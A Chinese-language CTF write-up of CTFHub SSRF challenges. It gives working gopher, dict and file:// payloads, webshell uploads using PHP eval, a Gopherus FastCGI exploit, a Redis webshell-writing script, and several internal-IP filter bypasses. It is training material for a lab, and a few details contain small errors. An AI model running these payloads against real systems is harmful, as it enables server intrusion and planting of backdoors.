[PHP知识库]SSRF-CTFhub

内网访问：

payload

直接内网访问127.0.0.1/flag.php

伪协议读取文件

可以去读读我的文章

直接file://协议读取本地文章

payload:

file:///var/www/html/flag.php
注意：有些时候flag.php不在该路径

端口扫描

题目提示端口在8000-9000，因此直接扫就可以了。这里我们需要使用dict伪协议来扫描，因为dict协议可以用来探测开放的端口。

直接url=dict://127.0.0.1:80,然后对端口80进行暴力破解

发现端口，直接访问127.0.0.1：端口数

POST请求

访问127.0.0.1/flag.php

发现有东西， POST请求，但是需要127.0.0.1

访问302.php，看到代码

<?php
if(isset($_GET['url'])){
	header("Location:$_GET['url']");
	exit();
}
highlight_file(__FILE__);

我们的思路：访问flag.php，需要post请求，但是要127.0.0.1，这是我们想到了gopher协议，利用gopher发送127.0.0.1。
构造gopher:

POST /flag.php HTTP/1.1
Host: 127.0.0.1(需要127.0.0.1，我们就用)
Content-Type: application/x-www-form-urlencoded
Content-Lenth: 36(长度一定与下面的post参数一致。)

key=8a6d748f4f820709cd9e444991d49dd0

我们需要将POST请求进行一次urlencode

POST%20%2Fflag.php%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3D8a6d748f4f820709cd9e444991d49dd0

因为在消息头的报文中，%0a需要换成%d%0a,所以我们继续改

POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3D8a6d748f4f820709cd9e444991d49dd0

然后因为curl本身要解码一次，所以还需要再次编码

POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D8a6d748f4f820709cd9e444991d49dd0

然后payload

url=gopher://127.0.0.1:80/_POST编码内容

发现这道题跟302.php没有关，但是我也没出flag

上传文件

使用fiel://协议读取index.php和flag.php

flag.php
?php
error_reporting(0);
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}
if(isset($_FILES["file"]) && $_FILES["file"]["size"] 

index.php
?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

这道题就是把k参数换成上传一个非空文件，继续用gopher协议构造POST请求
所谓构造一个POST请求，因为需要127.0.0.1，就是将抓取的包的Host变成127.0.0.1
payload:

url=gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520328%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AOrigin%253A%2520http%253A//challenge-03512614d3fa8330.sandbox.ctfhub.com%253A10080%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryraDVcM1y9juGcBJu%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/86.0.4240.198%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.9%250D%250AReferer%253A%2520http%253A//challenge-03512614d3fa8330.sandbox.ctfhub.com%253A10080/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250D%250AConnection%253A%2520close%250D%250A%250D%250A------WebKitFormBoundaryraDVcM1y9juGcBJu%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522shell.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%250D%250Aeval%2528%2524_POST%255Bwhoami%255D%2529%253B%250D%250A%253F%253E%250D%250A------WebKitFormBoundaryraDVcM1y9juGcBJu%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%250D%250A------WebKitFormBoundaryraDVcM1y9juGcBJu--%250D%250A

FastCGI协议

直接用gopherus工具打FastCGI
在gopherus界面

python gopherus.py --exploit fastcgi
/var/www/html/index.php                 //这里输入的是一个已知存在的php文件
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php

会得到一个payload，这里面是urlencode一次编码

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH134%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%86%04%00%3C%3Fphp%20system%28%27echo%20PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

然后我们需要进行二次编码。

gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520%2Fvar%2Fwww%2Fhtml%2Fshell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

然后我们可以用蚁剑连接，找根目录，就可以得到flag

Redis协议

利用未授权访问攻击Redis的方法有很多

写webshell
写ssh公钥
写contrab计划任务反弹shell
主从复制

因为redis的默认端口是6379，我们使用dict协议来探测端口是否开放

得知已经开放了6379端口，我们写webshell构造redis命令

flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

利用exp脚本生成gopher协议格式的payload

import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
?
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print urllib.quote(payload)    # 由于我们这里是GET，所以要进行两次url编码

然后得到payload

gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

蚁剑连接，查看根目录。

URLbybasss

payload:

url=http://notfound.ctfhub.com@127.0.0.1/flag.php

如何绕过指定url的限制？

极客大挑战-ssrf地址绕过

在URL中，因为parse_url和curl对host的解析不同，导致了可以通过@来绕过。

数字IP地址绕过

hacker! Ban '/127|172|@|\./'

过滤了127.点号，所以一些特殊的表示模式没法用

payload

url=http://0/flag.php
url=http://017700000001/flag.php,八进制，前面要加个0号
url=http://0x7F00000/falg.php,16进制，前面加个0x
但是二进制不行

302跳转

hacker! Ban Intranet IP

说明不能用127.0.0.1的ip，我们用我们自己的服务器（需要自己有个云服务器）

在服务器写个

<?php
	header("Location:127.0.0.1/flag.php");
>?

然后访问url=http://xxx.x.x.x/flag.php

DNS重绑定

我们这儿可以利用A记录

payload1:

url=http://sudo.cc/flag.php
A记录sudo.cc指向IP地址127.0.0.1。A记录就是域名指向ip地址，然后可以通过A记录转向访问
IP地址

payload2:

url=http://r.xxx.ceye.io/flag.php,前面要加个r.

参考文章：

fengq师傅:https://ego00.blog.csdn.net/article/details/108589988
https://www.freebuf.com/articles/web/258365.html
https://www.freebuf.com/articles/web/265646.html